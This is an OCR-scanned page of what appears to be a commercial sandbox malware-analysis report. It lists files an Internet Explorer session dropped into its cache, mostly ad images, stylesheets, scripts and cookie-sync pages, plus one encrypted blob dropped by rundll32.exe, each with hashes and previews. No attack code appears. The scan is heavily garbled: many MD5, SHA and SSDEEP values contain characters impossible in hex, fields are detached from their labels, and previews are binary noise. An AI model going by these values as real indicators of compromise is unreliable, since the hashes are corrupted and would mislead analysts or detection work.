SHA-512: 469D83ED49E9581D4CD35FE615EAESB83A21E2B9026F86B0D4D5391A684342E42305A9EE7ED28001E1FFC013545D2CC9017FAFA91372346999FBAECC58A0B61
Malicious: false

Reputation: unknown

Preview:

&'()*56789:CDEFGHIISTUVWXY Zcdefghijstuvwxyz.........
e 2o T OB 02V @ o Foe o 00 oSV G 4022 0020 4Gy T L #.4D.9..@K. . X
W.\..C..R..O.L..1H.D>....(z.@. z........0.._2"..QR...04.C)....&@.M...h.6...... mX.G?..J.0..<.4. .a.1H..0Y.|@..<}..@

d..0XR...a...JH....b.>. .C(CHF.
.).PPLL.P.MN(....h...c..

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\MEEXW4H4\AAuTnto[1].png

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

Category: dropped

Size (bytes): 77

Entropy (8bit):  7.619244521498105

Encrypted: false

SSDEEP: 12:6v/71+Qh6PGZxqRPb39/w9A0WC42k5allhpzIinlA7GgWhZHcIxD2RZyrHTsAew9:++RFzNY9ZWcz/In2aJ/Hs0/ooXw9
MD5: 1472AF1857C95AC2B14A1FE6127AFCAE

SHAL: D419586293B44B4824C41D48D341BD6770BAFC2C

SHA-256: 67254D5EFB62D39EF98DD00D289731DE8072ED29F47C15E9EOED3FOCEDB14942

SHA-512: 635ED99A50C94A38F7C581616120A73A46BA88BEI05791C00B8D418DFEGOFOEA61232D8DAAEB973D7ADA71C85D9B373C0187FADAGE4ACAESCF70596B7720E2238
Malicious: false

Reputation: unknown
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C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lIE\IMEEXW4H4\AAuTnto[1].png

Preview:

AV g......8.W.7S6....Da"..8.[.Z1G"N.2. X....oevreiririinn 2>.4g...c......fb...q0..{...GcW@.Hb.Ba....... w...P....=)..h.A. ... ).....0.XZ2.Q.4..pQ....>VT..H..'Du.e..~7..q. 7..QU...S.
........ d..+.3.......%m MUYy 728, KL 5. @...U..6<.yM.%B". . U. ].+...$...%%.....3.. L....9%.8...A9..#.0j\IZcg...c8..d......|END.B".

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\IMEEXW4H4\BB14EN7h[1].jpg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 622x368, frames 3
dropped

13764

7.273450351118404

false

384:1fOm4cla37nstIEM15mv7OAkrih4McOD07+8n0GoJdxFhEh8:12m4pa37stiITgqAjS0GoJd3yK
DA6531188AED539AF6EAAOF89912AACF

602244816EA22CBE39BBD4DB386519908745D45C
C719BE5FFC45680FE2A18CDB129E60A48A27A6666231636378918B4344F149F7

DFO3FA1CB6EDOD1FFACS5FB5F2BB6523D373AC4A67CEE1IAAFO7EODAGIE3F19E7AF43673B6BEFE7192648AC2531EF64F6B4F93F941BF014ED2791FAG6F46720C7
DB

false

unknown

:::..k.t.A'p..KJ..*A....( ...... (ool (oo (o (o Kl......:...O..:...i:..M.9..n..d.Z.e.Q..HfE....I’\...h.h.t....(.9:.2....2...@.....:...3..w.@.P4Acl.a.@...A#.P1.....4..@.@.
(h.h(..0..Y..

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\BB1cG73h[1].png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

PNG image data, 27 x 27, 8-bit/color RGBA, non-interlaced

dropped

1131

7.767634475904567

false

24:IGHOpUewXx5mbpLxMkes8rZDN+HFICwUntvB:JCY9xr4rZDEFC
D1495662336B0F1575134D32AF5D670A
EF841C80BB68056D4EF872C3815B33F147CA31A8
8ADGADB61B38AFF497F2EEB25D22DB30F25DE67D97A61DC6B050BB40A09ACD76

964EE15CDCO096A75B03F04E532F3AASDCBCB622DESE4AB7E765FBADES8FFI3F12C1B49A647DA945B38A647233256F90FB71E699F65EE289C8B5857A73A7TEGAA(
6

false

unknown

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\BB6Ma4a[1].png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files (x86)\Internet Exploren\iexplore.exe

PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

dropped

368

6.811857078347448

false
6:6v/IhPahm7HmMoUVP34NS7QRdujbt1S+bQkW1oFjTZLKrdmhtlargWoaf90736wDm:6v/7xkHA2QRdsbt1pBcrshtvgWoaO7qZ
C144BE9E6D1FA9A7DB6BD090D23F3453

203335FA5AD5E9D98771E6EA448E02EE5CODI1F3
FAC240D4CA688818C08A72C363168DCIB73CFED7B8858172F7AD994450A8D459

67B572743A917A651BD05D2C9DCEC20712FDIE802EC6C1A3D8E61385EB2FEBB1F19248F16E906AF0B62111B16COEA05769AEA1C44D81A02427C1150CBO35EA
8

false

unknown

PNG........ IHDR....cveveee a...pHYs......... +...."IDATx.cy. ..?..].UA...GX...43.l..0(f..0a"..C...+Z0.y......~..0..>....(... X3H.....Y....zQ4.50....R.u.*t.[|....)....($. .a...d.qd....3..
Wb e, 4..>.N.)d...p4.. I K@QE..]..B..X7..].0..pu?.1B,.J.P. ... F>R.21(.3}#.L4..90.N..IEND.B".
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C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lIE\IMEEXW4H4\BBVuddh[1].png

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category: dropped

Size (bytes): 316

Entropy (8bit):  6.917866057386609

Encrypted: false

SSDEEP: 6:6v/IhPahmxjleqclQ1rHZI8IsCkp3yBPn30hM8TD+8IzjpxVYSmO23KuzZDp:6v/7j1Q1Q1Z18Isfp36+hBTD+8pjpxy/

MDS5: 636BACDBAA35BAB805314755511D4CE04

SHA1L: 9BB424A02481910CE3EE30ABDA54304D90D51CA9

SHA-256: 157ED39615FC4B4BDB7E0D2CC541B3E0813A9C539D6615DB97420105AA6658E3

SHA-512: 7E5F09D34EFBFCB331EE1ED201E2DB4E1BO0FD11FC43BCB987107C08FA016FD7944341A994AA6918A650CEAFE13644F827C46E403F1F5D83B6820755BF1A4C]
3

Malicious: false

Reputation: unknown

Preview:

.......... +.....IDATX...P..7?E...U..E..
m.P...Fc...e.0.TUE...V.5..8..4..i.8.}.COM.Y.w"G..t.e.l.0.h.6.].Q...Q.

.M.XD."4YD..{\6....5..0.;....2..&...[. ....8.|Y...UU)gj..]...x..(.".$L.(\E......4...y....c..m.
Q.."....IEND.B.

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\IMEEXW4H4\checksync[1].htm

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: HTML document, ASCII text, with very long lines

Category: dropped

Size (bytes): 21700

Entropy (8bit): 5.305082513785246

Encrypted: false

SSDEEP: 384:VZAGcVXIblcgnzleZSweg2f5ng+7naMHF30ZOBQWwY4RXrqt:L86ghbS2RpF30sBQWwWY4RXrqt
MD5: B5F20E1651F4F1946B488FF06242968A

SHAL: AEAT762A84C24EB4E69086A8FE735F0A86540EA92

SHA-256: 60C18B7845B8A1000103670FEBA257E27DFC731789BC6228A5ACA42CF101B2E8

SHA-512: 37DA7C66E1949934BAF502F133362787FB039C44A7COE528BIF2F9A382CA782E26CB191127F2863ED4369325252B4E8A7A463C329EF16A50A58CDD66F1641AA0
Malicious: false

Reputation: unknown

Preview:

<html> <head></head> <body> <script type="text/javascript">try{.var cookieSyncConfig = {"datalen":80,"visitor":{"vsCk":"visitor-id","vsDaCk":"data","sepVal":
B "sepCs" e~ "vsDaTlme" 31536000,"cc™:"CH","zone":"d"},"cs":"1","lookup":{"g":{"name":"g","cookie":"data- g" "isBI":1 "bs":{"name":"bs","cookie":"data-

"vzn":{"name":"vzn""cookie":"data-Vv’ "g":0,"cocs":0},"brx":{"name":"brx"," 0,"cocs™.0},"Ir":{"name":"Ir","cook
ie":"data-Ir","isBI": cocs™:0},"ttd":{"name":"ttd","cookie":"data-ttd" :1,"cocs".0}},"ussyncmap" D"hasSameSnteSupport "batch":{"gGroups":["apx"
J'esm*,"ppt","rben”,"son”,"bdt","con”,"opx","tIx","mma","c1x","ys","sov" "fb","r pb","dxu","rkt","trx","wds","crt","ayl","bs","ui","shr","lvr","yld","msn","zem","dmx","pm","
som" "adb","tdd","soc","adp","vm","spx","nat","ob","adt","got","mf","emx" "sy" “Ir","ttd"],"bSize":2,"time":30000, "ngGroups™:[J},"
C:\Usersl\user\AppData\Local\Microsoft\Windows\INetCache\lIE\MEEXW4H4\checksync[2].htm
Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type: HTML document, ASCII text, with very long lines
Category: dropped
Size (bytes): 21700
Entropy (8bit):  5.305082513785246
Encrypted: false
SSDEEP: 384:VZAGcVXIblcgnzleZSweg2f5ng+7naMHF30ZOBQWwWY 4R Xrqt:L86ghbS2RpF30sBQWwWY4RXrqt
MD5: B5F20E1651F4F1946B488FF06242968A
SHA1L: AEA762A84C24EB4E69086A8FE735F0A86540EA92
SHA-256: 60C18B7845B8A1000103670FEBA257E27DFC731789BC6228A5ACA42CF101B2E8
SHA-512: 37DA7C66E1949934BAF502F133362787FB039C44A7COES528BIF2F9A382CA782E26CB191127F2863ED4369325252B4E8A7A463C329EF16A50A58CDD66F1641AA0
Malicious: false
Reputation: unknown
Preview:

"batch":{"gGroups":["apx"
yld","msn","zem","dmx","pm","

J'esm”, ppt on","bdt","con”,"opx","tIx" rkt "trx", wds crt "ayl","
som","adb","tdd","soc","adp","vm","spx","nat","ob","adt", got "mf","emx", sy","Ir","ttd"],"bSize :2,"time":30000,"'ngGroups":[]},"

C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lIE\IMEEXW4H4\checksync[3].htm

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type: HTML document, ASCII text, with very long lines
Category: dropped

Size (bytes): 21700

Entropy (8bit): 5.305082513785246

Encrypted: false
Copyright Joe Security LLC 2021 Page 33 of 149



C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lIE\IMEEXW4H4\checksync[3].htm

SSDEEP:
MDS5:
SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

384:VZAGcVXlblcgnzleZSweg2f5ng+7naMHF30ZOBQWwWY4RXrqt:L86ghbS2RpF30sBQWwY4RXrqt

B5F20E1651F4F1946B488FF06242968A

AEAT762A84C24EB4E69086A8FE735F0A86540EA92

60C18B7845B8A1000103670FEBA257E27DFC731789BC6228A5ACA42CF101B2E8
37DA7C66E1949934BAF502F133362787FB039C44A7COE528BIF2F9A382CA782E26CB191127F2863ED4369325252B4E8A7A463C329EF16A50A58CDD66F1641AA0
false

unknown

<html> <head></head> <body> <script type="text/javascript">try{.var cookieSyncConfig = {"datalen":80,"visitor":{"vsCk":"visitor-id","vsDaCk":"data","sepVal":"|","sepTime"
" "sepCs™:"~~","vsDaTime":31536000,"cc":"CH","zone":"d"},"cs":"1","lookup":{"g":{"name":"g","cookie":"data-g","isBI":1, "bs":{"name":"bs","cookie":"data-
bs","isBI":1,"g":1,"cocs":0},"vzn":{"name":"vzn","cookie":"data-v","isBI":1,"g":0,"cocs":0},"brx":{"name":"brx","cookie":

“cocs":0},"Ir":{"name":"Ir","cook
ie":"data-Ir","isBI": :1,"cocs":0},"ttd":{"name":"ttd","cookie":"data-ttd","isBI":1,"g":1,"cocs":0}},"ussyncmap":[],"hasSameSiteSupport":"0","batch":{"gGroups":["apx"
"csm”"ppt',“rben”, "son™, "bdt,"con” "opx”,"tlx", "mma "c1x" "ys" "sov" “fb" "r1

som","adb","tdd","soc","adp","vm","spx","nat",

pb"dxu”,"rkt”,"trx”, "wds”,"ert”,"ayl”,"bs”,"ui","shr”,"Ive”,"yld","msn”, "zem","dmx","pm", "
ob”"adt","got","mf","emx","sy","Ir","ttd"],"bSize":2, "time":30000,"ngGroups™:[]},"

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\medianet[1].htm

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

HTML document, ASCII text, with very long lines

dropped

410093

5.485558319987304

false
6144:zPWKYqP1vG2jnmuynGJ8nKM03VCuPbeEWpJi9Wmn:rlvFKnGI8KMGXTPWmn
711B92246AD35096A444BC2A1AF2D741
216COED49E6862E241FE1D881ES5ACA470590A728D
AD55BIC3A901D8AD3607473840B277CD3396F9E704B57727B467215DE26537C0
546175F055A78B67A6DA4FFOC15E51D256FFE193F55B50A800CF177B4DE23D205613BDA71B450EO0BEC7B886E8F76FOEEBIE45F998014760B27AA178DF622D634
false

unknown

<html>.<head></head>.<body style="margin: Opx; padding: Opx; background-color: transparent;">.<script language="javascript" type="text/javascript"
>window.mnjs=window.mnjs||{},window.mnjs.ERP=window.mnjs.ERP||function(){"use strict";for(var I="",s="",c="",f={},u=encodeURIComponent(navigator.userAgent),g=[]
,e=0;e<3;e++)g[e]=[];function d(e){void 0===e.logLevel&&(e={logLevel:3,errorVal:e}),3<=e.logLevel&&g[e.logLevel-1].push(e)}function n(){var e=0;for(a=0;a<3;a++)
e+=g[a].length;if(0!==e){for(var n,r=new Image,o=f.lurl||"https://Ig3-a.akamaihd.net/nerrping.php",t="",i=0,a=2;0<=a;a--){for(e=g[a].length,0;0<e;){if(n=1===a?g[a][0]:{lo
gLevel:g[a][0].logLevel,errorVal:{name:g[a][0].errorVal.name,type:l,svr:s,servname:c,errld:g[a][0].errld, message:g[a][0].errorVal.message,line:g[a][0].errorVal.lineNumber
,description:g[a][0].errorVal.description,stack:g[a][0].errorVal.stack}},n=n,!((n="object"I=typeof JSON||"function"!=typeof JSON.stringify?"JSON IS NOT SUPPORTE
D":JSON.stringify(n)

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\medianet[2].htm

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: HTML document, ASCII text, with very long lines

Category: dropped

Size (bytes): 410093

Entropy (8bit):  5.4855715066150745

Encrypted: false

SSDEEP: 6144:zPWKYqP1vG2jnmuynGJ8nKM03VCuPbzEWpJi9Wmn:rlvFKnGI8BKMGXTsWmn

MD5: 050DFC841035FE6B7C48849F77COEA97

SHA1L: C137248EA759BFFDIFC39AE60881A268930D6A80

SHA-256: 977D38A7C169963A05CE62EF210F72A8C9A19FD4A827227F12FED9349E7BOBF4

SHA-512: 7T4F2F14E1496F4FFFEDO1F5DB14CB9745C029065319E15A802BE31C6377FC40C40FBD490A425DDE25B3D5DIDEF6CID5732ECI94FAA35E9208C5935A43163056C

Malicious: false

Reputation: unknown

Preview:

<html>.<head></head>.<body style="margin: Opx; padding: Opx; background-color: transparent;">.<script language="javascript" type="text/javascript"

>window.mnjs=window.mnjs||{},window.mnjs.ERP=window.mnjs.ERP||function(){"use strict";for(var I="",s="",c=""f={},u=encodeURIComponent(navigator.userAgent),g=[]
,e=0;e<3;e++)g[e]=[];function d(e){void 0O===e.logLevel&&(e={logLevel:3,errorVal:e}),3<=e.logLevel&&g[e.logLevel-1].push(e)}function n(){var e=0;for(a=0;a<3;a++)
e+=g[a].length;if(0!==e){for(var n,r=new Image,o=f.lurl||"https://Ig3-a.akamaihd.net/nerrping.php",t="",i=0,a=2;0<=a;a--){for(e=g[a].length,0;0<e;){if(n=1===a?g[a][0]:{lo
glLevel:g[a][0].logLevel,errorVal:{name:g[a][0].errorVal.name,type:l,svr:s,servname:c,errld:g[a][0].errid,message:g[a][0].errorVal.message, line:g[a][0].errorVal.lineNumber
,description:g[a][0].errorVal.description,stack:g[a][0].errorVal.stack}},n=n,!((n="object"!=typeof JSON||"function"!=typeof JSON.stringify?"JSON IS NOT SUPPORTE
D":JSON.stringify(n)

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\nwko4L TpzG[1] E

Process: C:\Windows\System32\rundll32.exe

File Type: data

Category: dropped

Size (bytes): 293376

Entropy (8bit):  7.999368806300796

Encrypted: true

SSDEEP: 6144:hOriJkxE9+IVhZHeejUDyWX/Mx1s2PPxeyeY18:hOrizTVzdWU7/PPxeLF8
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C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\nwko4LTpzG[1] E
MD5: C91AD70E9D84537066120CF3689652FE

SHA1L: 5976BB80COEDE9275A55F27CB6002E4376F9BCES

SHA-256: 88BBCA3D9998B8F13A35372D7939B0ASE6D63EE4ACC3FEB84F305C11531A6AF0D

SHA-512: 8DFE182DD09004C8786D69B501CEBBICOFIF6A1F13DFC3748A5AF31F7F8F8BFFC8AAFES04C43F76BIDAC786E3EE64C25AB1281AAB0O5B29BAD2BFOCB8318671
95

Malicious: false

Reputation: unknown

Preview:

.@..M.]..&=X..}t.,.5y.A...w.b..#h..q*PdP..u;. .
u<.%...sh.w....?2.."E....".N".8.8....9." .N+?B..~.hT:4.L$V..%......... ho_ .0.5.1.@Z&0....P.r.4..S>Y.|..p.X...
.b..@...a;L..IUA.|i/.f.8.h. gW.f #w6.x|...T..{.....>.K~{8..<y.mg.JB.T.I....2Uw..zu..*}.pL.;,.. ...u\.........V..3.A.&sS, .s....0;2
\.9NE..F.T].7.V...C.1k..z.*#.. Tz.=.....z+..B.G..1>.0...nh7..B.......".\..e.q.....Y..P.#B." T..R2..J.Q.E..N...l.b.<.xN..MC

.P.D..E.

0<....$7.6bn%.g.....0...}
Ulo..z.Jn\.....b.am.h.$." X.....

"&.i...e3>..>..9......C..0.X...<..B.;.%..G..,..b...W.0>...@bDB...0.>.F.DC7....p...2..R.$}|+..1.2q.2.....(....P4...U.B., . Y..A6.l.......[....Id....$8...b|..D

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\PSUEOSZZ\2d-0e97d4-185735b[1].css

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: UTF-8 Unicode text, with very long lines, with CRLF, LF line terminators

Category: dropped

Size (bytes): 251398

Entropy (8bit):  5.2940351809352855

Encrypted: false

SSDEEP: 3072:FaPMULTAHEKmM80UdvUvJZkrqq7pjD4tQH:FaOULTAHLOUdvwZkrqq7pjD4tQH

MD5: 24D71CC2CC17F9EOF7167D724347DBA4

SHA1L: 4188B4EE11CFDC8EAOSE7DA7F475F6A464951E27

SHA-256: AEF29E187222C5E2960E1E265C87AA7DA7268408C3383CC3274D97127F389B22

SHA-512: 43CF44624EF76F5B83DE10A2FB1C27608A290BC21BF023A1BFDB77B2EBB4964805C8683F82815045668A3ECCF2F16A4D7948C1C5AC526AC71760F50C82AADEZ
B

Malicious: false

Reputation: unknown

Preview:

/*! Error: C:/a/_work/1/s/Statics/WebCore.Statics/Css/Modules/ExternalContentModule/Uplevel/Base/externalContentModule.scss(207,3): run-time error CSS1062: Expe
cted semicolon or closing curly-brace, found ‘@include.multiLineTruncation' */....@charset "UTF-8";div.adcontainer iframe[width="1"]{display:none}span.nativead{font-weigh
:600;font-size:1.1rem;line-height:1.364}div:not(.ip) span.nativead{color:#333}.todaymodule .smalla span.nativead,.todaystripe .smalla span.nativead{bottom:2rem
;display:block;position:absolute}.todaymodule .smalla a.nativead title,.todaystripe .smalla a.nativead .title{max-height:4.7rem}.todaymodule .smalla a.nativead .caption,
.todaystripe .smalla a.nativead .caption{padding:0;position:relative;margin-left:11.2rem}.todaymodule .mediuma span.nativead,.todaystripe .mediuma span.nativead
{bottom:1.3rem}.ip a.nativead span:not(.title):not(.adslabel),.mip a.nativead span:not(.title):not(.adslabel){display:block;vertical-align:top;color:#a0a0a0}.ip a.nativead
.captio

C:\Users\luser\AppDatal\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\2ed15672-3101-4610-bca3-92f3b6ae53a6[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 300x300, frames 3

Category: dropped

Size (bytes): 79892

Entropy (8bit):  7.973435800445508

Encrypted: false

SSDEEP: 1536:pITtd006Y111j8bNV3nd4KXQWCR2gMX23wlIJHZdpl0zn/2iM2ChdToczjHrFIIDt:pltde Y1103d4cQWVL23XHZLFrWhdThzm

MD5: 4D1FFCCE341C2058B09B9BC4D8675117

SHA1L: 456452BF2E1A649AF13C42F6D07DCB14C7EF988F

SHA-256: C232CEA5C7210FC681012C9DBA73671C9D31382FA47D510996790BBBOFFBEECF

SHA-512: 0980FE69EDF34D3E279B100B8B9705B05DA9C3D02F01B9896F052F4F1E53E131184A6417D2FA9DAAFS5FD44AC7B2D4ABI6C745CCBF4F909477651914684B53861

Malicious: false

Reputation: unknown

Preview:
...... JFIF i Ciiirciiscnsees G e P Ll L
.2a#0.B......33Rb...C.%4Sr..&DC........cooviiiiiici A
SNHICLQ...v{...."#......aw..7.h6i..7.>...7.wal. kR...sGH.{.0..}.. +".y8........ (e~ TELETMW~ W U0.0T).%..W..p....... ] 1%.m.} g M2 > H Y95 T L
......... ~ REQANLL T A HE LTV L b WBLE DLl V... > ] Alebg.FA......&$>a...6..n3.. Y [.i* l.ga..rf..6Y. .. .ud4>k..m.9v.u. A d....|..L.]Ju*

V..g.hv...~.dVs$....w{.bHJ. c9q.>..B;W&sjq(.V..u..o

C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\52-478955-68ddb2ab[1].js

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: UTF-8 Unicode text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 396806

Entropy (8bit): 5.324109854583468

Encrypted: false

SSDEEP: 6144:YXPIM/wSg/jgyY Zw44K7hmnidDWPqljHSjaVCr1BgxO0DkV4FcjtluNK: CW/VenidDWPqljHdQ16tbcjut
MD5: C906EACCF4FB5B70603D1C1C810478CF

SHAL: D80452D9411F8AF5611DE5B2B6941A4A44418DF3

SHA-256: 3C9F6E4308C874AF5124CE406E41347CA23F9FOADESOFAG6CAODC7A79BOACAF74
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C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lIE\PSUEOSZZ\52-478955-68ddb2ab[1].js

SHA-512:

Malicious:
Reputation:

Preview:

5AD826EEA9C4C10E20C5FA3916D9ACB8169810D2BE6166C5DBD7FFDF64B071728D86E2488A4BC700F46A3E029B741662ADD39A72C093F9B3AE81430C15D01C
9

false

unknown

var awa,behaviorKey,Perf,globalLeft, Gemini, Telemetry,utils,data, MSANTracker,deferredCanary,g_ashsC,g_hsSetup,canary;window._perfMarker&&window._perfMa
rker("TimeToJsBundleExecutionStart");define("jgBehavior",["jquery","viewport"],function(n){return function(t,i,r){function u(n){var t=n.length;return t>1?function(){for(var
i=0;i<t;i++)n[i]()}:t?n[0]:ffunction f(){}if(typeof t'="function")throw"Behavior constructor must be a function";if(i&&typeof i'="object")throw"Defaults must be an object or nu
II";if(r&&typeof r'="object")throw"Exclude must be an object or null*;return r=r||{},function(f,e,o){function c(n){n&&(typeof n.setup=="function"&&I.push(n.setup),typeof
n.teardown=="function"&&a.push(n.teardown),typeof n.update=="function"&&v.push(n.update))}var h;if(o&&typeof o!="object")throw"Options must be an object or null";var

s=n.extend(!0,{},i,0),I=[],a=[],v=[],y=!0;if(r.query){if(typeof f!="string")throw"Selector must be a string";c(t(f,s))}else h=n(f,e),r.each?c(t(h,s)):(y=h.length>0,

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\AA7XCQ3[1].png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

dropped

667

7.561736401445472

false
12:6v/7TUYRK5V6RwWLZzZvLK51950/tWnssyQSKZLsLO7qcNrXIUA3YUz1oK9:STuzZc19skWssyQ5ZsO7qclVdf9
C9E843CDDAD2F56F8F88B8D6A937B602

EE3382E8031321B266BA31CA47D0667F03C469F8
DOA577DFBCF142D19E89E5ABC3EEC3020AD0C3A65B9BA6F6534097D0806B2100

677CDE3738656508AEDBE2DAG98B21B5AA15EBASEDECEG0192A5B61004E6CB6A1F718A02066AFF367021C31B9B13D2DDD703976E8F26C22272AE8AADBECCS!
ED

false

unknown

.PNG.......IHDR. +.....MIDATx...]JHSa...n.l;.d..a-HK)..6 v .GNLLE.Q&.EAY.T...25.K.UT8..M.....> [u.=.;.y. n!(k{<...
K..dv..Fm..Ro.NT..Y.N $x.....d. 2LR.8K........7..9.........8<....)...B.#.5:uck...0..0 d..=V.T..ad .{[Z.?.026<..@...R..@.....}.p-.........Ql0....5$.D. Q" X...Coooet
f<....._F.&2q.8E (9T )8 = [...@ .e.6..Q.2." o AHW.I"@]6_..2.i-.>.].....).."]..19.[.T5...$l. A.wa-<#.Dt]sPnc9F..Q.8...].....D..f._S..OWG.>b.....t.
~j>.K.h]4~....Q....BA..?.}.s..;.......IEND.B".

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\AAKp8YX[1].png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

dropped

497

7.3622228747283405

false
12:6v/7YBQ24PosfCOy6itR+xmWHsdAMbDw/9uTomxQK:rBQ24LgOyJtR+xTHs+jUx9
CD651A0EDF20BE87F85DB1216A6D96ES
A8C281820E066796DA45E78CE43C5DD17802869C
F1C5921D7FF944FB34B4864249A32142F97C29F181E068A919C4D67D89B90475

9E9400B2475A7BA32D538912C11A658C27E3105D40EO0DE023CA8046656BD62DDB7435F8CB667F453248ADDCB237DAEAA94F99CA2D44C35F8BB085F3E005929E
D

false

unknown

PNG........ IHDR......cveenen a...pHYs.......... Fonn IDATx..S=K.A{...3E..X....."..S.Akl.....X..0.FTD,....&D...3........ AofBodo o PL#PLLY ~0 8L KL (120 E.
"$.AGAF... ~l..L<7A{G....W.(Eei.1rq...K...c.@.d..2zG..|.2.B)... . T+4. . X.P..V A..1../6.zL .dt. .pm.X..Pl.4.{.Y.3n0(..<\.7T.... U..G..,.a.N.b.t

C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lIE\PSUEOSZZ\AANcu7b[1].jpg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Reputation:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 622x368, frames 3
dropped

35530

7.959645305810465

false

768:1tvbJFIEtBLCleym4zx18nETOUH/BLOWNCc10+4G9x3:1tvbJEGleylvLIfBLONCK+4uF

C3466D21DA49B7AADE8B6135CAF672867

31B0546925A77686B4CAA3B1B8DDB3094BC80774
353E0A946A167793ACC429264BB2AB11546A2775FF7E454B9A26A145CF63435A

EF48B1BCE8A44F35B7859C863BA73E18917ACD6C8AB513843093149EEA9SAE21C07F2FDACD1DCEEOF1822483DD117DD38BB23D2AFEED92B6568BCES0AFALE
4F9

false

unknown
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C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lIE\PSUEOSZZ\AANcu7b[1].jpg

Preview:

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\AAOOL18x[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 100x75, frames 3
Category: dropped

Size (bytes): 2700

Entropy (8bit):  7.82668315500443

Encrypted: false

SSDEEP: 48:QfAUETAeOjeBSxiqQdKdCEBwQVUbOOMSeUUX7LAN43/Z3¢2QmBn:Qf7E7WLQIMEIQVUNmMSI8KJIVQuU

MDS5: 4E6C867D40120741CD198C2672103617

SHAL: 45DFF1E5919E7AB66530101C41BDC495D8F98ABE

SHA-256: 6F34DD1D5BDC080B87443915342AFE5393322240966458D788964A0CDABE9747

SHA-512: 72BC7331EBFD7DA62F5B753FD73CB193B434E72C47E73616A56693894FCD05A424D16902B730F78416A2D306BE2D6EB71CEE851ED979AAFFE9FID386BB51852
Malicious: false

Reputation: unknown

Preview:

..Fcl.
o= fLAX2L

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\AAOPUIr[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 100x75, frames 3

Category: dropped

Size (bytes): 3061

Entropy (8bit):  7.859351967329708

Encrypted: false

SSDEEP: 48:QfAUETAWAXQr/kHV3K8DMGyY+GgDxiBYg51S9gm4DK6tNols+52wfw6gQFWLNIRI9:Qf7ExZgla8gv+7iR5I00FMEwWfwFoOWDR9
